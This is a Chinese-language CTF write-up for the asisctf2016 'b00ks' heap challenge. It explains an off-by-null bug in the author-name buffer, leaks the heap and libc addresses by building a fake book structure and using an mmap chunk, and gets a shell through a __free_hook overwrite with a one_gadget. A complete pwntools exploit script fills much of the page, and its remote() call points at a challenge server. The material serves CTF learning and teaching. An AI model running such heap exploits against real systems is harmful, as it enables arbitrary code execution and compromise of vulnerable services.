off-by-null-b00ks

题目: asisctf2016_b00ks

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HNoRgUrU-1642340360848)(off-by-null.assets/image-20220116195353489.png)]

除了canary全开,因为是堆题,所以基本可以认为保护措施全开

分析

主函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-flBDG3BV-1642340360849)(off-by-null.assets/image-20220116195613703.png)]

程序封装的read函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8b36tYAM-1642340360850)(off-by-null.assets/image-20220116195723248.png)]

add函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x9IphPf3-1642340360851)(off-by-null.assets/image-20220116195752315.png)]
在这里插入图片描述

由add函数可得出以下结构示意图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dfj8zsQx-1642340360852)(off-by-null.assets/image-20220116200808101.png)]

dele函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-djoyK1X4-1642340360852)(off-by-null.assets/image-20220116195857929.png)]

edit函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r5dFWDGN-1642340360853)(off-by-null.assets/image-20220116195917126.png)]

show函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7eENpDQ5-1642340360853)(off-by-null.assets/image-20220116195945893.png)]

init_name函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pn5MBWAC-1642340360854)(off-by-null.assets/image-20220116200003501.png)]
重命名的bss段
在这里插入图片描述

思路

  1. 因为有off-by-null漏洞且bss段中 name到ptr_array的距离刚好0x20大小 name:0x202040 ptr
  2. 填充’P’*0x20大小时会覆盖到ptr_array处最低字节为\x00
  3. 但是ptr[0]是下一步才写入的值,所以并不会改变该值的最低位为\x00
sla('Enter author name: ','P'*0x20)

#创建一个堆块 , 它的指针保存在0x202060

add(0x1d0,'AAAA',0x20,'BBBB') #这里chunk大小为构造下面只能覆盖\x00的要求,从而使它指向fake chunk地址

#此时打印时会连带输出0x202060的值,也就是堆的地址

  1 show()  
  2 ru('P'*0x20)
  3 chunk1 = uu64(rc(6))
  4 success('chunk1 addr',chunk1)

bss如图:

  1. 我们知道unsotbin + uaf 泄露libc是通过得到main_arean出的值从而获取libc的固定偏移
  2. 那么mmap()分配也是类似的原理,它分配的chunk在.tls段前,通过固定偏移也可泄露libc
add(0x21000,'CCCC',0x21000,'DDDD') #这里申请一个大于topchunk大小的chunk则会由mmap()分配
#且它不会放到堆空间处

泄露libc

  1 chunk2 = chunk1 + 0x30  #申请的第二个chunk地址
  2 fake = p64(1) + p64(0) + p64(chunk2+0x10)+ p64(0x20)  
'''p64(1) 是该chunk的索引 
   p64(0)作为占位使用
   p64(chunk2+0x10)是指向chunk2 的description_ptr
   p64(0x20) chunk2 的description_ptr的size
   fake chunk的结构这里结构必须完整,不然后面对fake chunk进行修改时,会导致程序崩溃'''
  3 edit(1,fake)
  4 name('P'*0x20) #重新覆盖ptr_array[0]的最低字节为\x00  通过前面的size构造这里就指向>
  5 show() #而p64(chunk2+8)指向的是mmap()分配处的地址 ,这样就形成了双级指针,从而打印出地址
  6 ru("Name: ")
  7 libc_base = uu64(rc(6)) - (0x7f7edfb43010-0x7f7edf59e000) #计算偏移差
  8 success('libc',libc_base)

那么我们来看看现在的堆结构:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xNmYLwnM-1642340360855)(off-by-null.assets/image-20220116191551493.png)]

那么现在修改chunk1的内容就等同于 修改chunk2的description_ptr指针

那么修改chunk2的内容就等同于 修改上面chunk2的description_ptr指针下的内容

这就形成了一个自定义指针关系,该程序保护措施限制了got表 , 那么可以使用 __free_hook + one_gadge

  1 free_hook = libc_base + libc.symbols['__free_hook']
  2 edit(1,p64(free_hook))
  3 edit(2,p64(libc_base + one[1]))
  4 dele(1) #getshell

完整exp:

# -*-coding:utf-8 -*
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./b00ks"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+str(s))
  pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]

def add(a,b,c,d):
    sla('> ','1')
    sla('Enter book name size:',str(a))
    sla('Enter book name (Max 32 chars):',b)
    sla('Enter book description size:',str(c))
    sla('Enter book description:',d)
def dele(a):
    sla('> ','2')
    sla('Enter the book id you want to delete:',str(a))
def show():
    sla('> ','4')
def edit(a,b):
    sla('> ','3')
    sla('Enter the book id you want to edit:',str(a))
    sla('Enter new book description:',b)
def name(a):
    sla('> ','5')
    sla('name: ',a)


#------------leak heap_addr----------------
sla('Enter author name: ','P'*0x20)
#因为有off-by-null漏洞且bss段中 name到ptr_array的距离刚好0x20大小 name:0x202040 ptr_array:0x202060
#填充'P'*0x20大小时会覆盖到ptr_array处最低字节为\x00
#但是ptr[0]是下一步才写入的值,所以并不会改变该值的最低位为\x00
add(0x1d0,'AAAA',0x20,'BBBB') #创建一个堆块 , 它的指针保存在0x202060
show()  #此时打印时会连带输出0x202060的值,也就是堆的地址
ru('P'*0x20)
chunk1 = uu64(rc(6))
success('chunk1 addr',chunk1)
#------------leak libc----------------
#我们知道unsotbin + uaf 泄露libc是通过得到main_arean出的值从而获取libc的固定偏移
#那么mmap()分配也是类似的原理,它分配的chunk在.tls段前,通过固定偏移也可泄露libc
add(0x21000,'CCCC',0x21000,'DDDD')
#这里申请一个大于topchunk大小的chunk则会由mmap()分配
#且它不会放到堆空间处
chunk2 = chunk1 + 0x30  #申请的第二个chunk地址
fake = p64(1) + p64(0) + p64(chunk2+0x10)+ p64(0x20)  #p64(1) 是该chunk的索引
edit(1,fake)
name('P'*0x20) #重新覆盖ptr_array[0]的最低字节为\x00  通过前面的size构造这里就指向了p64(chunk2+8)
show() #而p64(chunk2+8)指向的是mmap()分配处的地址 ,这样就形成了双级指针,从而打印出了mmap()分配的指针地址
ru("Description: ")
libc_base = uu64(rc(6)) - (0x7f7edfb43010-0x7f7edf59e000)
success('libc',libc_base)
#------------attack into __free_hook----------------
#该程序保护措施限制了got表 , 那么可以使用 __free_hook + one_gadger进行getshell
free_hook = libc_base + libc.symbols['__free_hook']
edit(1,p64(free_hook))
edit(2,p64(libc_base + one[1]))
dele(1) #getshell
#------------end----------------
it()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值